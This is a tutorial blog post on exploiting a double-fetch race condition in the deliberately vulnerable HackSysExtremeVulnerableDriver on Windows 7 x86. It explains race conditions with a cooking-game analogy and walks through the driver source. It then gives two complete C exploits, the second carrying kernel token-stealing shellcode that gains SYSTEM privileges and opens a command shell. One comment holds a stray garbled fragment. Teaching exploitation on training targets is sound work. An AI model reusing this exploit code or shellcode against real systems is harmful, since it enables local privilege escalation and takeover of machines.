In the last tutorial we successfully exploited a Type Confusion vulnerability against Windows 11 (x64). In this tutorial we’ll introduce a new vulnerability type - a Race Condition, more specifically a double fetch!

As with the previous tutorials, the introduction to this vulnerability type will be done within Windows 7 (x86).

Table of Contents

What is a Race Condition (High Level)

Race Conditions are one of the most complex and powerful vulnerability types an attacker can exploit on any system or application. It feels like just yesterday when Dirty Cow was released to the public - a local privilege escalation vulnerability that affected ALL Linux based operating systems that used older versions of the Linux Kernel.

In all honesty before taking the RET2 Wargames course these vulnerability types, even at a high level seemed completely unapproachable. That said I will try my best to give a good overview of what causes these types of vulnerabilities. However, should you walk away from this tutorial completely confused or wanting more exposure to race conditions I heavily recommend RET2 Wargames.

With that said, let’s jump into a high-level overview.

For our non-technical example, we’ll be looking at a game you may be familiar with called Overcooked. In this game you and your friends are responsible for cooking meals and since there’s time limits you often have to work together to get orders completed quickly. You can imagine how intense this can get…

You and your friends are often tossing ingredients into the same container, this could be a pot, plate, or even a smoothie cup.

Shown in the image below, multiple players are making soups:

alt text

Within this image we see that two soups are being made an onion soup and a tomato soup. We also see four players:

  1. A clown
  2. A axolotl
  3. A parrot
  4. A lady

Let’s say the axolotl player is a bit of a troll and likes to cause chaos. We see the axolotl holding an onion and we see the parrot cutting a tomato. Additionally we see the clown holding a tomato.

To meet the order the second soup currently needs one tomato.

Both the axolotl and the parrot wish to toss their ingredients into the pot however each ingredient will have a very different outcome.

  • If the tomato makes it into the pot - the team will successfully place the order
  • If the onion makes it into the pot - the team will have to toss the soup and start over potentially missing the order

The axolotl knows that the team each has a respective role, however the axolotl is searching for a vulnerability in the way the food is being prepared in order to exploit it (race condition). Being that the next two soups are onion the axolotl tells the parrot to cut his onion.

Since all players are trying to make the orders at the same time a window of opportunity presents itself to the axolotl. If the parrot is reading the orders and reading what the pot needs he may be too slow to notice what the axolotl is planning to do (or rather toss into the pot).

The axolotl decides to exploit this and successfully tampers the soup…

What does this have to do with race conditions?

  • You can think of each player as a thread. These threads are all working in parallel, affecting a shared resource (the pot).
  • The race condition in this example occurs when two “threads” (players) try to modify the shared resource at the same time; what ingredient gets tossed into the pot determines the outcome. If the onion goes in, it’s a successful exploitation by the axolotl.

In technical terms, a race condition happens when two or more concurrent processes or threads attempt to modify or access shared resources simultaneously, leading to unpredictable or unintended consequences.

  • What if multiple threads are responsible for frees?
  • What if multiple threads are responsible for allocations?
  • What if multiple threads decide what path an application takes?

As you can imagine the limits to race conditions are endless.

Hopefully that made sense! Let’s get started!

Using the Source

First we need to identify the target files for this vulnerability.

$ ls -l | grep Double
-rw-r--r-- 1 wetw0rk wetw0rk  5801 Nov 18 12:32 DoubleFetch.c
-rw-r--r-- 1 wetw0rk wetw0rk  2408 Nov 18 12:32 DoubleFetch.h

The source tells us that we’re gonna be dealing with the following structures and calls:

// DoubleFetch.h
 62 typedef struct _DOUBLE_FETCH
 63 {
 64     PVOID Buffer;
 65     SIZE_T Size;
 66 } DOUBLE_FETCH, *PDOUBLE_FETCH;

// DoubleFetch.c
  DoubleFetchIoctlHandler()
    TriggerDoubleFetch()

DoubleFetchIoctlHandler

Within this handler, we can see that our input is casted into a structure pointer for the custom type _DOUBLE_FETCH. From there our casted input is sent to the TriggerDoubleFetch() function.

156 NTSTATUS
157 DoubleFetchIoctlHandler(
158     _In_ PIRP Irp,
159     _In_ PIO_STACK_LOCATION IrpSp
160 )   
161 {   
162     PDOUBLE_FETCH UserDoubleFetch = NULL;
163     NTSTATUS Status = STATUS_UNSUCCESSFUL;
164     
165     UNREFERENCED_PARAMETER(Irp);
166     PAGED_CODE();
167 
168     UserDoubleFetch = (PDOUBLE_FETCH)IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
169 
170     if (UserDoubleFetch)
171     {
172         Status = TriggerDoubleFetch(UserDoubleFetch);
173     }
174 
175     return Status;
176 }

TriggerDoubleFetch

TriggerDoubleFetch is where we start to see a more “complex” operation.

 63 __declspec(safebuffers)
 64 NTSTATUS
 65 TriggerDoubleFetch(
 66     _In_ PDOUBLE_FETCH UserDoubleFetch
 67 )
 68 {
 69     NTSTATUS Status = STATUS_SUCCESS; 
 70     ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
 71 
 72 #ifdef SECURE
 73     PVOID UserBuffer = NULL;
 74     SIZE_T UserBufferSize = 0;
 75 #endif
 76 
 77     PAGED_CODE();
 78 
 79     __try
 80     {
 81         //
 82         // Verify if the buffer resides in user mode
 83         //
 84 
 85         ProbeForRead(UserDoubleFetch, sizeof(DOUBLE_FETCH), (ULONG)__alignof(UCHAR));
 86 
 87         DbgPrint("[+] UserDoubleFetch: 0x%p\n", UserDoubleFetch);
 88         DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
 89         DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
 90 
 91 #ifdef SECURE
 92         UserBuffer = UserDoubleFetch->Buffer;
 93         UserBufferSize = UserDoubleFetch->Size;
 94 
 95         DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserBuffer);
 96         DbgPrint("[+] UserDoubleFetch->Size: 0x%X\n", UserBufferSize);
 97 
 98         if (UserBufferSize > sizeof(KernelBuffer))
 99         {
100             DbgPrint("[-] Invalid Buffer Size: 0x%X\n", UserBufferSize);
101 
102             Status = STATUS_INVALID_PARAMETER;
103             return Status;
104         }
105 
106         //
107         // Secure Note: This is secure because the developer is fetching
108         // 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size' from user
109         // mode just once and storing it in a temporary variable. Later, this
110         // stored values are passed to RtlCopyMemory()/memcpy(). Hence, there
111         // will be no race condition
112         //
113 
114         RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, UserBufferSize);
115 #else
116         DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserDoubleFetch->Buffer);
117         DbgPrint("[+] UserDoubleFetch->Size: 0x%X\n", UserDoubleFetch->Size);
118 
119         if (UserDoubleFetch->Size > sizeof(KernelBuffer))
120         {   
121             DbgPrint("[-] Invalid Buffer Size: 0x%X\n", UserDoubleFetch->Size);
122             
123             Status = STATUS_INVALID_PARAMETER;
124             return Status;
125         }
126         
127         DbgPrint("[+] Triggering Double Fetch\n");
128         
129         //
130         // Vulnerability Note: This is a vanilla Double Fetch vulnerability because the
131         // developer is fetching 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size'
132         // from user mode twice and the double fetched values are passed to RtlCopyMemory()/memcpy().
133         // This creates a race condition and the size check could be bypassed which will later
134         // cause stack based buffer overflow
135         //
136         
137         RtlCopyMemory((PVOID)KernelBuffer, UserDoubleFetch->Buffer, UserDoubleFetch->Size);
138 #endif
139     }
140     __except (EXCEPTION_EXECUTE_HANDLER)
141     {   
142         Status = GetExceptionCode();
143         DbgPrint("[-] Exception Code: 0x%X\n", Status);
144     }
145     
146     return Status;
147 }

Let’s break this down.

Starting on lines 63-90 we see that a buffer with a total size of 512 bytes is being used for KernelBuffer (this size can be obtained from BUFFER_SIZE definition in Common.h).

 63 __declspec(safebuffers)
 64 NTSTATUS
 65 TriggerDoubleFetch(
 66     _In_ PDOUBLE_FETCH UserDoubleFetch
 67 )
 68 {
 69     NTSTATUS Status = STATUS_SUCCESS; 
 70     ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
 71 
 72 #ifdef SECURE
 73     PVOID UserBuffer = NULL;
 74     SIZE_T UserBufferSize = 0;
 75 #endif
 76 
 77     PAGED_CODE();
 78 
 79     __try
 80     {
 81         //
 82         // Verify if the buffer resides in user mode
 83         //
 84 
 85         ProbeForRead(UserDoubleFetch, sizeof(DOUBLE_FETCH), (ULONG)__alignof(UCHAR));
 86 
 87         DbgPrint("[+] UserDoubleFetch: 0x%p\n", UserDoubleFetch);
 88         DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
 89         DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
 90 
 91 #ifdef SECURE
 92         UserBuffer = UserDoubleFetch->Buffer;
 93         UserBufferSize = UserDoubleFetch->Size;
 94 
 95         DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserBuffer);
 96         DbgPrint("[+] UserDoubleFetch->Size: 0x%X\n", UserBufferSize);
 97 
 98         if (UserBufferSize > sizeof(KernelBuffer))
 99         {
100             DbgPrint("[-] Invalid Buffer Size: 0x%X\n", UserBufferSize);
101 
102             Status = STATUS_INVALID_PARAMETER;
103             return Status;
104         }
105 
106         //
107         // Secure Note: This is secure because the developer is fetching
108         // 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size' from user
109         // mode just once and storing it in a temporary variable. Later, this
110         // stored values are passed to RtlCopyMemory()/memcpy(). Hence, there
111         // will be no race condition
112         //
113 
114         RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, UserBufferSize);

Lines 115-147 we start to see the vulnerability. We can see that if the size of the Size member of the _DOUBLE_FETCH structure is greater than the sizeof(KernelBuffer) the driver will return.

Otherwise we reach the RtlCopyMemory() function call.

115 #else
116         DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserDoubleFetch->Buffer);
117         DbgPrint("[+] UserDoubleFetch->Size: 0x%X\n", UserDoubleFetch->Size);
118 
119         if (UserDoubleFetch->Size > sizeof(KernelBuffer))
120         {
121             DbgPrint("[-] Invalid Buffer Size: 0x%X\n", UserDoubleFetch->Size);
122 
123             Status = STATUS_INVALID_PARAMETER;
124             return Status;
125         }
126 
127         DbgPrint("[+] Triggering Double Fetch\n");
128 
129         //
130         // Vulnerability Note: This is a vanilla Double Fetch vulnerability because the
131         // developer is fetching 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size'
132         // from user mode twice and the double fetched values are passed to RtlCopyMemory()/memcpy().
133         // This creates a race condition and the size check could be bypassed which will later
134         // cause stack based buffer overflow
135         //
136 
137         RtlCopyMemory((PVOID)KernelBuffer, UserDoubleFetch->Buffer, UserDoubleFetch->Size);
138 #endif
139     }
140     __except (EXCEPTION_EXECUTE_HANDLER)
141     {
142         Status = GetExceptionCode();
143         DbgPrint("[-] Exception Code: 0x%X\n", Status);
144     }
145 
146     return Status;
147 }

Theory

Looking at the structure we can just pass a pointer to a large buffer and set the size to something small? Of course we have to do this at just the right moment…

Pehaps we can send something like this:

+-----------+---------------------------------+
| Thread #1 | Spam DOUBLE_FETCH.Size (0x10)   |
+-----------+---------------------------------+
| Thread #2 | Spam DOUBLE_FETCH.Size (0x1000) |
+-----------+---------------------------------+

Crafting a PoC

With a solid attack plan in place we can start crafting a PoC as shown below.

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>
#include <processthreadsapi.h>

#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)

#define HEVD_IOCTL_DOUBLE_FETCH IOCTL(0x80D)

/* Structure used by Double Fetch */
typedef struct _DOUBLE_FETCH
{
  PVOID Buffer;
  SIZE_T Size;
} DOUBLE_FETCH, *PDOUBLE_FETCH;

/* Structure for threads */
typedef struct _IRP_ARGS
{
  HANDLE hHEVD;
  PDOUBLE_FETCH pDoubleFetch;
} IRP_ARGS, *PIRP_ARGS;

/* Max threads */
#define NUM_THREADS 5

/* Exploit Buffer */
#define BUFFER 0x1000

/* CheckWin():
     Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
  DWORD win = 0;
  DWORD dwLen = 0;
  CHAR *cUsername = NULL;

  GetUserNameA(NULL, &dwLen);

  if (dwLen > 0) {
    cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
  } else {
    printf("[-] Failed to allocate buffer for username check\n");
    return -1;
  }

  GetUserNameA(cUsername, &dwLen);

  win = strcmp(cUsername, "SYSTEM");
  free(cUsername);

  return (win == 0) ? win : -1;
}

/* TriggerRaceCondition():
     Since driver reads from userland twice we can overwrite the existing condition that bypasses the checkslmgr -rearm
     at runtime. If we win the race we successfully trigger a buffer overflow! */
DWORD WINAPI TriggerRaceCondition(LPVOID lpParameters)
{
  PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;

  while (1) {
    pIrpArgs->pDoubleFetch->Size = BUFFER;
  }

  return 0;
}

/* TriggerWorkingCondition():
     As we saw in TriggerDoubleFetch() in order to reach the RtlCopyMemory() aka wrapper for memcpy() we need
     our buffer to be under the sizeof(KernelBuffer). This function sends an IOCTL to ensure we meed that
     condition. */
DWORD WINAPI TriggerWorkingCondition(LPVOID lpParameters)
{
  DWORD dwBytesReturned = 0;
  PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;

  printf("\t[*] Spraying DoubleFetchObject(s): %p, Size: 0x%x\n", pIrpArgs->pDoubleFetch,
                                                                  pIrpArgs->pDoubleFetch->Size);
  while (1)
  {
    pIrpArgs->pDoubleFetch->Size = 0x10;
    
    DeviceIoControl(pIrpArgs->hHEVD,
                    HEVD_IOCTL_DOUBLE_FETCH,
                    pIrpArgs->pDoubleFetch,
                    sizeof(DOUBLE_FETCH),
                    NULL,
                    0x00,
                    &dwBytesReturned,
                    NULL);
  }

  return 0;
}

/* GenerateExploitBuffer():
     Generate the buffer that will overwrite the return address and grant control over the instruction pointer. */
void GenerateExploitBuffer(LPVOID lpvBuffer)
{
  uint32_t *payload = (uint32_t *)(lpvBuffer);

  for (int i = 0; i < (BUFFER / sizeof(uint32_t)); i++)
  {
    *payload++ = 0x41414141;
  }
}

/* Exploit():
     Double Fetch */
int Exploit(HANDLE hHEVD)
{
  LPVOID lpvMemoryAllocation = NULL;
  HANDLE hThreadWork[NUM_THREADS] = { 0 };
  HANDLE hThreadRace[NUM_THREADS] = { 0 };
  PIRP_ARGS pIrpArgs = (PIRP_ARGS)malloc(sizeof(IRP_ARGS));
  PDOUBLE_FETCH pDoubleFetchObject = (PDOUBLE_FETCH)malloc(sizeof(DOUBLE_FETCH));

  lpvMemoryAllocation = VirtualAlloc(NULL,
                                     BUFFER,
                                     (MEM_COMMIT | MEM_RESERVE),
                                     PAGE_EXECUTE_READWRITE);

  /* Fill up the buffer */
  GenerateExploitBuffer(lpvMemoryAllocation);
  
  /* Setup the Double Fetch object */
  pDoubleFetchObject->Buffer = lpvMemoryAllocation;
  pDoubleFetchObject->Size = 0;

  /* Setup the base IRP argument(s) */
  pIrpArgs->hHEVD = hHEVD;
  pIrpArgs->pDoubleFetch = pDoubleFetchObject;

  /* Start the race!! */
  printf("[*] Off to the races\n");
  for (int i = 0; i < NUM_THREADS; i++)
  {
    hThreadWork[i] = CreateThread(NULL,  0, TriggerWorkingCondition, pIrpArgs, 0, NULL);
    hThreadRace[i] = CreateThread(NULL,  0, TriggerRaceCondition, pIrpArgs, 0, NULL);
  }

  WaitForMultipleObjects(NUM_THREADS, hThreadWork, TRUE, 10000);

  for (int i = 0; i < NUM_THREADS; i++)
  {
    TerminateThread(hThreadWork[i], 0);
    CloseHandle(hThreadWork[i]);

    TerminateThread(hThreadRace[i], 0);
    CloseHandle(hThreadRace[i]);
  }

  return CheckWin();
}

int main()
{
  HANDLE hHEVD = NULL;
  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == NULL)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  if (Exploit(hHEVD) == 0) {
    printf("[*] Exploitation successful, enjoy de shell!!\n\n");
    system("cmd.exe");
  } else {
    printf("[-] Exploitation failed, run again\n");
  }

  if (hHEVD != INVALID_HANDLE_VALUE) {
    CloseHandle(hHEVD);
  }
}

Once the buffer is sent the following crash occurs:

alt text

If we !analyze -v the crash, we see the following:

alt text

From my experience with HEVD this normally means our buffer is so large we corrupted data that allows us a clean return address overwrite. So the solution here is to send a smaller buffer. In honor of 2600 I decided to send 2600 bytes!

alt text

Once sent, we have control over the instruction pointer!

Exploitation

After playing with offsets I developed the following code:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>
#include <processthreadsapi.h>

#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)

#define HEVD_IOCTL_DOUBLE_FETCH IOCTL(0x80D)

/* Structure used by Double Fetch */
typedef struct _DOUBLE_FETCH
{
  PVOID Buffer;
  SIZE_T Size;
} DOUBLE_FETCH, *PDOUBLE_FETCH;

/* Structure for threads */
typedef struct _IRP_ARGS
{
  HANDLE hHEVD;
  PDOUBLE_FETCH pDoubleFetch;
} IRP_ARGS, *PIRP_ARGS;

/* Max threads */
#define NUM_THREADS 5

/* Exploit Buffer */
#define BUFFER 2084

/* CheckWin():
     Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
  DWORD win = 0;
  DWORD dwLen = 0;
  CHAR *cUsername = NULL;

  GetUserNameA(NULL, &dwLen);

  if (dwLen > 0) {
    cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
  } else {
    printf("[-] Failed to allocate buffer for username check\n");
    return -1;
  }

  GetUserNameA(cUsername, &dwLen);

  win = strcmp(cUsername, "SYSTEM");
  free(cUsername);

  return (win == 0) ? win : -1;
}

/* TriggerRaceCondition():
     Since driver reads from userland twice we can overwrite the existing condition that bypasses the check
     at runtime. If we win the race we successfully trigger a buffer overflow! */
DWORD WINAPI TriggerRaceCondition(LPVOID lpParameters)
{
  PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;

  while (1) {
    pIrpArgs->pDoubleFetch->Size = BUFFER;
  }

  return 0;
}

/* TriggerWorkingCondition():
     As we saw in TriggerDoubleFetch() in order to reach the RtlCopyMemory() aka wrapper for memcpy() we need
     our buffer to be under the sizeof(KernelBuffer). This function sends an IOCTL to ensure we meed that
     condition. */
DWORD WINAPI TriggerWorkingCondition(LPVOID lpParameters)
{
  DWORD dwBytesReturned = 0;
  PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;

  printf("\t[*] Spraying DoubleFetchObject(s): %p, Size: 0x%x\n", pIrpArgs->pDoubleFetch,
                                                                  pIrpArgs->pDoubleFetch->Size);
  while (1)
  {
    pIrpArgs->pDoubleFetch->Size = 0x10;
    
    DeviceIoControl(pIrpArgs->hHEVD,
                    HEVD_IOCTL_DOUBLE_FETCH,
                    pIrpArgs->pDoubleFetch,
                    sizeof(DOUBLE_FETCH),
                    NULL,
                    0x00,
                    &dwBytesReturned,
                    NULL);
  }

  return 0;
}

/* GenerateExploitBuffer():
     Generate the buffer that will overwrite the return address and grant control over the instruction pointer. */
DWORD GenerateExploitBuffer(LPVOID lpvBuffer)
{
  uint32_t *payload = (uint32_t *)(lpvBuffer);
  LPVOID lpvShellcode = NULL;

  char shellcode[]=
  // sickle-tool -p windows/x86/kernel_token_stealer -f c -m pinpoint
  "\x60"                         // pushal 
  "\x31\xc0"                     // xor eax, eax
  "\x64\x8b\x80\x24\x01\x00\x00" // mov eax, dword ptr fs:[eax + 0x124]
  "\x8b\x40\x50"                 // mov eax, dword ptr [eax + 0x50]
  "\x89\xc1"                     // mov ecx, eax
  "\xba\x04\x00\x00\x00"         // mov edx, 4
  "\x8b\x80\xb8\x00\x00\x00"     // mov eax, dword ptr [eax + 0xb8]
  "\x2d\xb8\x00\x00\x00"         // sub eax, 0xb8
  "\x39\x90\xb4\x00\x00\x00"     // cmp dword ptr [eax + 0xb4], edx
  "\x75\xed"                     // jne 0x1014
  "\x8b\x90\xf8\x00\x00\x00"     // mov edx, dword ptr [eax + 0xf8]
  "\x89\x91\xf8\x00\x00\x00"     // mov dword ptr [ecx + 0xf8], edx
  "\x61"                         // popal

  /* RETURN CODE */
  "\x5d"          // POP EBP
  "\xc2\x08\x00"; // RET 0x08

  lpvShellcode = VirtualAlloc(NULL, 57, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
  if (lpvShellcode == NULL) {
    printf("[-] Failed to generate shellcode allocation\n");
    return -1;
  }

  printf("[*] Copying shellcode to allocated memory region\n");
  memcpy(lpvShellcode, shellcode, 57);

  for (int i = 0; i < (BUFFER / sizeof(uint32_t)); i++)
  {
    *payload++ = (uint32_t)lpvShellcode;
  }

  return 0;
}

/* Exploit():
     Double Fetch */
DWORD Exploit(HANDLE hHEVD)
{
  LPVOID lpvMemoryAllocation = NULL;
  HANDLE hThreadWork[NUM_THREADS] = { 0 };
  HANDLE hThreadRace[NUM_THREADS] = { 0 };
  PIRP_ARGS pIrpArgs = (PIRP_ARGS)malloc(sizeof(IRP_ARGS));
  PDOUBLE_FETCH pDoubleFetchObject = (PDOUBLE_FETCH)malloc(sizeof(DOUBLE_FETCH));

  lpvMemoryAllocation = VirtualAlloc(NULL,
                                     BUFFER,
                                     (MEM_COMMIT | MEM_RESERVE),
                                     PAGE_EXECUTE_READWRITE);

  /* Fill up the buffer */
  printf("[*] Successfully allocated exploitation buffer\n");
  if (GenerateExploitBuffer(lpvMemoryAllocation) == -1) {
    return -1;
  }
  
  /* Setup the Double Fetch object */
  pDoubleFetchObject->Buffer = lpvMemoryAllocation;
  pDoubleFetchObject->Size = 0;

  /* Setup the base IRP argument(s) */
  pIrpArgs->hHEVD = hHEVD;
  pIrpArgs->pDoubleFetch = pDoubleFetchObject;

  /* Start the race!! */
  printf("[*] Off to the races\n");
  for (int i = 0; i < NUM_THREADS; i++)
  {
    hThreadWork[i] = CreateThread(NULL,  0, TriggerWorkingCondition, pIrpArgs, 0, NULL);
    hThreadRace[i] = CreateThread(NULL,  0, TriggerRaceCondition, pIrpArgs, 0, NULL);
  }

  WaitForMultipleObjects(NUM_THREADS, hThreadWork, TRUE, 1000);

  for (int i = 0; i < NUM_THREADS; i++)
  {
    TerminateThread(hThreadWork[i], 0);
    CloseHandle(hThreadWork[i]);

    TerminateThread(hThreadRace[i], 0);
    CloseHandle(hThreadRace[i]);
  }

  return CheckWin();
}

int main()
{
  HANDLE hHEVD = NULL;
  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == NULL)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  if (Exploit(hHEVD) == 0) {
    printf("[*] Exploitation successful, enjoy de shell!!\n\n");
    system("cmd.exe");
  } else {
    printf("[-] Exploitation failed, run again\n");
  }

  if (hHEVD != INVALID_HANDLE_VALUE) {
    CloseHandle(hHEVD);
  }
}

Once sent, we can see that we’ve successfully exploited the double fetch (Race Condition)!

alt text

Sources

https://www.kn0sky.com/?p=194